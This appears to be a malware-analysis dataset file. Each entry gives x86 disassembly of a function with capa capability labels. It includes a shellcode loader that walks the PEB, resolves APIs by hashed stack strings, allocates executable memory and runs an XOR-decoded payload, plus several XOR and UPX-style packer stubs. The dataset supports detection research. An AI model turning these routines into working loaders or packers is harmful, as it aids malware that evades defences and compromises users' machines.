joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001010
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword fs:[0x30]
xor edx, edx
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov ecx, dword [eax + 0x20]
mov edi, dword [eax + 0x18]
add ecx, esi
mov ebx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ebx, esi
mov dword [ebp - 0x1c], ecx
add eax, esi
xor ecx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], eax
test edi, edi
je 0x1000118e
nop word [eax + eax]
mov eax, dword [ebp - 0x1c]
mov ebx, 0x6547
mov eax, dword [eax + ecx*4]
add eax, esi
cmp word [eax], bx
jne 0x100010d3
mov ebx, 0x5074
cmp word [eax + 2], bx
jne 0x100010d3
mov ebx, 0x6f72
cmp word [eax + 4], bx
jne 0x100010d3
mov ebx, 0x4163
cmp word [eax + 6], bx
jne 0x100010d3
mov ebx, 0x6464
cmp word [eax + 8], bx
jne 0x100010d3
mov ebx, 0x6572
cmp word [eax + 0xa], bx
jne 0x100010d3
mov ebx, 0x7373
cmp word [eax + 0xc], bx
mov ebx, dword [ebp - 0x18]
jne 0x100010d3
mov eax, dword [ebp - 0x20]
movzx eax, word [eax + ecx*2]
mov edx, dword [ebx + eax*4]
add edx, esi
inc ecx
cmp ecx, edi
jb 0x10001070
test edx, edx
je 0x1000118e
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x74726956
push eax
push esi
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov dword [ebp - 8], 0
call edx
push 0x40
push 0x3000
push 0x164
push 0
call eax
movaps xmm2, xmmword [str.DDDDDDDDDDDDDDDD]
mov edx, eax
mov ecx, 0x59
mov esi, 0x10003058
mov edi, edx
mov eax, 0x140
rep movsd dword es:[edi], dword [esi]
lea ecx, [edx + 0x20]
mov esi, 5
nop word [eax + eax]
lea ecx, [ecx + 0x40]
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x60]
xorps xmm1, xmm0
movups xmmword [ecx - 0x60], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x50]
xorps xmm0, xmm2
movups xmmword [ecx - 0x50], xmm0
movups xmm0, xmmword [ecx - 0x40]
xorps xmm0, xmm2
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
xorps xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
sub esi, 1
jne 0x10001140
nop word [eax + eax]
xor byte [edx + eax], 0x44
inc eax
cmp eax, 0x164
jb 0x10001180
call edx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000119f
mov esp, ebp
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x5d77389a
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0xe630076
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x62ba10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xcc000]
push edi
jmp 0x62ba2a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x62ba31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x62ba20
mov eax, 1
add ebx, ebx
jne 0x62ba43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x62ba54
jne 0x62ba73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x62ba73
dec eax
add ebx, ebx
jne 0x62ba60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x62ba38
add ebx, ebx
jne 0x62ba6f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x62bac5
xor ecx, ecx
sub eax, 3
jb 0x62ba8b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x62bafa
sar eax, 1
mov ebp, eax
jmp 0x62ba96
add ebx, ebx
jne 0x62ba96
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x62ba64
inc ecx
add ebx, ebx
jne 0x62baa4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x62ba64
add ebx, ebx
jne 0x62bab1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x62baa6
jne 0x62bac2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x62baa6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x62bae4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x62bad6
jmp 0x62ba26
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x62bae4
add edi, ecx
jmp 0x62ba26
pop esi
mov edi, esi
mov ecx, 0x4781
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x62bb02
cmp byte [edi], 0x22
jne 0x62bb02
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x62bb07
lea edi, [esi + 0x228000]
mov eax, dword [edi]
or eax, eax
je 0x62bb7f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x22cf30]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x22d054]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x62bb34
mov ecx, edi
jns 0x62bb63
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x22d05c]
or eax, eax
je 0x62bb79
mov dword [ebx], eax
add ebx, 4
jmp 0x62bb51
call dword [esi + 0x22d058]
mov ebp, dword [esi + 0x22d060]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x62bbb3
sub esp, 0xffffff80
jmp 0x4a2861
Function at 0x4b156c44
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
movzx eax, word [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
push dword [ebp + 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
xor edi, edi
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
jne 0x4b156c89
call fcn.4b15655a
mov edi, eax
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b156cc1
push edi
push dword [ebp + 0xc]
push 0x4b151438
push 0x17
jmp 0x4b156cb6
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x4b156cd9
call fcn.4b15655a
mov edi, eax
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b156cc1
push edi
push dword [ebp + 0xc]
push 0x4b151438
push 0x18
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b158abd
test edi, edi
jge 0x4b156cd0
test ebx, ebx
je 0x4b156cd0
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [esi], eax
jne 0x4b156cd0
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
mov ecx, 0x8000ffff
mov edi, ecx
jb 0x4b156cc5
push ecx
push dword [ebp + 0xc]
push 0x4b151438
push 0x19
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b158abd
jmp 0x4b156cc5

Function at 0x4b157335
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.4b167950
mov eax, dword [0x4b16c628]
push esi
mov esi, ecx
cmp dword [esi + 8], 0xffffffff
mov dword [ebp - 4], eax
mov dword [ebp - 0x1008], 1
jne 0x4b15736e
mov dword [ebp - 0x1008], 0x80040007
jmp 0x4b15744c
push ebx
mov ebx, 0x1000
mov ecx, ebx
sub ecx, dword [esi + 0x10]
je 0x4b15744b
push edi
xor eax, eax
push eax
push eax
push ebx
lea edx, [ebp - 0x1004]
push edx
push ecx
lea edi, [esi + 0x14]
push edi
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x4b1573c4
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jg 0x4b1573b6
call esi
mov dword [ebp - 0x1008], eax
jmp 0x4b15744a
call esi
and eax, 0xffff
or eax, 0x80070000
jmp 0x4b1573ab
and dword [ebp - 0x100c], 0
push 0
lea ecx, [ebp - 0x100c]
push ecx
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4b157411
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x4b1573fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4b15740b
call dword [sym.imp.KERNEL32.dll_GetLastError]
and eax, 0xffff
or eax, 0x80070000
mov dword [ebp - 0x1008], eax
and word [edi], 0
cmp dword [ebp - 0x1008], 0
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], ebx
jge 0x4b15744a
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b15744a
push dword [ebp - 0x1008]
push dword [esi + 4]
push 0x4b1518a0
push 0x10
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b1572cc
pop edi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x1008]
pop esi
call fcn.4b163f8b
leave
ret
Function at 0x4b15d019
Capabilities:
Set registry value

Disassembly:
mov eax, 0x4b167f1e
call fcn.4b1678d8
sub esp, 0x1c
push esi
mov esi, ecx
push edi
lea ecx, [ebp - 0x28]
call fcn.4b1666a6
mov eax, dword [esi]
xor edi, edi
mov ecx, esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], edi
call dword [eax + 4]
push eax
push dword [0x4b153a9c]
lea eax, [ebp - 0x28]
push 0x4b152320
push eax
call fcn.4b166e00
add esp, 0x10
cmp eax, edi
mov dword [ebp - 0x10], eax
jge 0x4b15d095
mov ecx, dword [0x4b16c0b8]
cmp byte [ecx + 0x19], 2
jb 0x4b15d140
push eax
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
push eax
mov eax, dword [0x4b16c0b8]
push 0x4b151b3c
push 0x59
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b1572cc
jmp 0x4b15d140
push ebx
lea eax, [ebp - 0x14]
push eax
push 0x20006
push edi
push dword [ebp - 0x24]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov ebx, 0xffff
mov edi, 0x80070000
je 0x4b15d0ee
jle 0x4b15d0c2
and eax, ebx
or eax, edi
test eax, eax
mov dword [ebp - 0x10], eax
jge 0x4b15d0ee
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b15d13f
push dword [ebp - 0x10]
push dword [ebp - 0x24]
push 0x4b151b3c
push 0x5a
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b1572cc
jmp 0x4b15d13f
push 0x12
push str.Disabled
push 1
push 0
push dword [0x4b153a48]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
mov eax, dword [0x4b16c0b8]
movzx ecx, byte [eax + 0x19]
cmp ecx, esi
jl 0x4b15d132
push dword [ebp - 0x24]
push dword [0x4b153a48]
push 0x4b151b3c
push 0x5b
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b15b68f
test esi, esi
je 0x4b15d13f
jle 0x4b15d13c
and esi, ebx
or esi, edi
mov dword [ebp - 0x10], esi
pop ebx
cmp dword [ebp - 0x14], 0
pop edi
pop esi
je 0x4b15d151
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.4b166b87
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov dword fs:[0], ecx
leave
ret
Function at 0x4b15d83b
Capabilities:
Delete file

Disassembly:
mov edi, edi
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x234]
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x4b15d858
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [esi], 0xffffffff
add edi, 0x238
cmp word [edi], 0
je 0x4b15d86b
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x82
xor eax, eax
rep stosd dword es:[edi], eax
pop edi
pop esi
ret

Function at 0x4b15d94b
Capabilities:
Read file via mapping

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x220], ebx
jne 0x4b15d9b9
push edi
lea ecx, [esi + 0x224]
push ebx
xor eax, eax
push 0x1c50
mov edi, ecx
stosd dword es:[edi], eax
push ebx
stosd dword es:[edi], eax
push 4
push ecx
stosd dword es:[edi], eax
push 0xffffffffffffffff
mov dword [ecx], 0xc
mov dword [esi + 0x22c], 1
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
cmp eax, ebx
mov dword [esi + 0x21c], eax
je 0x4b15d9b8
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, ebx
mov dword [esi + 0x220], edi
je 0x4b15d9b8
mov ecx, 0x714
xor eax, eax
rep stosd dword es:[edi], eax
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x4b15d94e
Capabilities:
Read file via mapping

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x220], ebx
jne 0x4b15d9b9
push edi
lea ecx, [esi + 0x224]
push ebx
xor eax, eax
push 0x1c50
mov edi, ecx
stosd dword es:[edi], eax
push ebx
stosd dword es:[edi], eax
push 4
push ecx
stosd dword es:[edi], eax
push 0xffffffffffffffff
mov dword [ecx], 0xc
mov dword [esi + 0x22c], 1
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
cmp eax, ebx
mov dword [esi + 0x21c], eax
je 0x4b15d9b8
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, ebx
mov dword [esi + 0x220], edi
je 0x4b15d9b8
mov ecx, 0x714
xor eax, eax
rep stosd dword es:[edi], eax
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
ret
Function at 0x4b15ddeb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
mov esi, ecx
cmp dword [esi + 0x220], ebx
mov byte [ebp - 1], bl
je 0x4b15df29
cmp dword [ebp + 8], ebx
je 0x4b15df29
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4b15de47
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b15df29
push dword [ebp + 8]
push 0x4b1528f0
push 0xa
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b15b62c
jmp 0x4b15df29
mov eax, dword [esi + 0x220]
add eax, 0x1418
cmp word [eax], bx
push edi
mov edi, 0x400
je 0x4b15debb
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, ebx
je 0x4b15debb
mov ecx, dword [esi + 0x220]
cmp word [ecx + eax*2 + 0x1416], 0x7c
je 0x4b15debb
lea eax, [ecx + 0x1418]
lea ecx, [ebp - 8]
push ecx
push edi
push eax
mov word [ebp - 8], 0x7c
mov word [ebp - 6], bx
call fcn.4b15db17
test eax, eax
jge 0x4b15debb
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b15df28
push 0x4b1528f0
push 0xb
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b157041
jmp 0x4b15df28
mov eax, dword [esi + 0x220]
push dword [ebp + 8]
add eax, 0x1418
cmp word [eax], bx
push edi
push eax
sete byte [ebp - 2]
call fcn.4b15db17
test eax, eax
mov eax, dword [0x4b16c0b8]
jge 0x4b15deef
cmp byte [eax + 0x19], 2
jb 0x4b15df28
push 0x4b1528f0
push 0xc
jmp 0x4b15deae
cmp byte [eax + 0x19], 4
jb 0x4b15df0a
push dword [ebp + 8]
push 0x4b1528f0
push 0xd
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b15b62c
cmp byte [ebp - 2], bl
je 0x4b15df24
mov eax, dword [esi + 0x220]
test dword [eax + 0x28], 0x40
jne 0x4b15df24
mov esi, eax
or dword [esi + 0x28], 0x40
mov byte [ebp - 1], 1
pop edi
mov al, byte [ebp - 1]
pop esi
pop ebx
leave
ret 4
Function at 0x4b15e2ec
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov esi, 0x104
push esi
lea edi, [ebx + 0x12]
push edi
mov byte [ebx + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
mov dword [ebp - 4], eax
je 0x4b15e3ad
cmp eax, esi
ja 0x4b15e3ad
push 0x4b152960
push esi
push edi
call fcn.4b15db17
test eax, eax
jge 0x4b15e346
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b15e3ca
push 0x4b1528f0
push 0x2b
jmp 0x4b15e3bf
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4b15e356
test al, 0x10
je 0x4b15e393
mov eax, dword [ebp - 4]
and word [ebx + eax*2 + 0x12], 0
push 0x4b15294c
push esi
push edi
call fcn.4b15db17
test eax, eax
jge 0x4b15e383
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b15e3ca
push 0x4b1528f0
push 0x2c
jmp 0x4b15e3bf
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4b15e399
test al, 0x10
jne 0x4b15e399
mov byte [ebx + 0x10], 1
jmp 0x4b15e3ca
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b15e3ca
push 0x4b1528f0
push 0x2d
jmp 0x4b15e3bf
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b15e3ca
push 0x4b1528f0
push 0x2a
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b157041
mov al, byte [ebx + 0x10]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4b16144c
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x4c
test byte [0x4b16d30c], 1
push ebx
push esi
push edi
jne 0x4b161471
or dword [0x4b16d30c], 1
call fcn.4b1613f6
mov dword [0x4b16d308], eax
push 4
pop eax
call fcn.4b167950
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4b161506
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x48]
lea edi, [eax - 1]
not edi
and edi, esi
sub edi, eax
mov dword [ebp - 8], eax
mov eax, dword [0x4b16c764]
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xffff1000
add esi, 0x11000
add esi, ebx
cmp edi, esi
jb 0x4b161506
cmp eax, 1
je 0x4b161527
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4b161506
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x4b1614d3
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x4b161502
xor eax, eax
inc eax
jmp 0x4b161546
cmp edi, eax
jae 0x4b16150a
xor eax, eax
jmp 0x4b161546
cmp eax, esi
jae 0x4b161511
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x4b16c764]
jmp 0x4b16152a
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4b161b30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 0xc]
cmp word [ecx], 0
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
je 0x4b161bbb
cmp word [eax], 0
push ebx
push esi
push edi
je 0x4b161bb6
mov ebx, dword [sym.imp.USER32.dll_CharNextW]
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
jmp 0x4b161b9c
mov ax, word [edi]
test ax, ax
je 0x4b161bbf
movzx ecx, word [esi]
movzx eax, ax
sub ecx, eax
jne 0x4b161ba2
push esi
call ebx
push edi
mov dword [ebp - 4], eax
call ebx
mov ecx, dword [ebp - 4]
sub eax, edi
sub ecx, esi
xor eax, ecx
test eax, 0xfffffffe
jne 0x4b161ba2
jmp 0x4b161b97
inc esi
inc esi
movzx ecx, word [esi]
inc edi
inc edi
movzx eax, word [edi]
sub ecx, eax
je 0x4b161b9c
cmp esi, dword [ebp - 4]
jb 0x4b161b89
cmp word [esi], 0
jne 0x4b161b5c
cmp word [edi], 0
je 0x4b161bbf
push dword [ebp + 8]
call ebx
cmp word [eax], 0
mov dword [ebp + 8], eax
jne 0x4b161b54
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
mov eax, dword [ebp + 8]
jmp 0x4b161bb8
Function at 0x4b161fc3
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov eax, 0x4b16821e
call fcn.4b1678d8
sub esp, 0x218
mov eax, dword [0x4b16c628]
push ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
push esi
xor esi, esi
mov ebx, ecx
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x214], esi
push 0x2001f
push eax
push dword [ebx]
lea ecx, [ebp - 0x214]
mov dword [ebp - 4], esi
call fcn.4b1616c4
cmp eax, esi
jne 0x4b16206c
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x4b162023
lea eax, [ebp - 0x210]
push eax
call fcn.4b161fc3
cmp eax, esi
jne 0x4b16206b
lea eax, [ebp - 0x224]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x210]
push eax
push esi
push dword [ebp - 0x214]
mov dword [ebp - 0x218], 0x100
call edi
test eax, eax
lea ecx, [ebp - 0x214]
je 0x4b162013
call fcn.4b161651
push dword [ebp - 0x21c]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
pop edi
lea ecx, [ebp - 0x214]
mov esi, eax
call fcn.4b161651
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.4b163f8b
leave
ret 4
Function at 0x4b163a23
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3f4
mov eax, dword [0x4b16c628]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
lea ebx, [esi + 0x10]
push ebx
mov dword [ebp - 4], eax
push 0x3f0
lea eax, [ebp - 0x3f4]
push eax
push edi
call fcn.4b163469
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4b163a65
test al, 0x10
je 0x4b163a6d
and word [ebp - 0x39c], 0
lea eax, [ebp - 0x3f4]
push eax
call dword [sym.imp.comdlg32.dll_GetOpenFileNameW]
test eax, eax
je 0x4b163aa8
lea eax, [ebp - 0x39c]
push eax
push 0x3ed
push edi
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push 0
push 1
push 0x401
push edi
call dword [sym.imp.USER32.dll_SendMessageW]
push esi
push edi
call fcn.4b16354f
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.4b163f8b
leave
ret 8

Function at 0x4b163f8b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b16c628]
jne 0x4b163f9c
test ecx, 0xffff0000
jne 0x4b163f9c
ret
jmp fcn.4b163fa6
Function at 0x4b165f35
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, ecx
push 1
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x4b165fbc
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x20]
push 0
shl eax, 8
push eax
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
test eax, eax
mov dword [esi + 4], eax
je 0x4b165f93
mov ecx, dword [0x4b16c0b8]
cmp byte [ecx + 0x19], 5
jb 0x4b165fbc
push eax
push 0x4b153890
push 0x10
push dword [ecx + 0x14]
push dword [ecx + 0x10]
call fcn.4b156ac1
jmp 0x4b165fbc
mov eax, dword [0x4b16c0b8]
cmp byte [eax + 0x19], 2
jb 0x4b165fbc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x4b16c0b8]
push 0x4b153890
push 0x11
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.4b156ac1
pop esi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x22923ccd
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x29a25a68
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219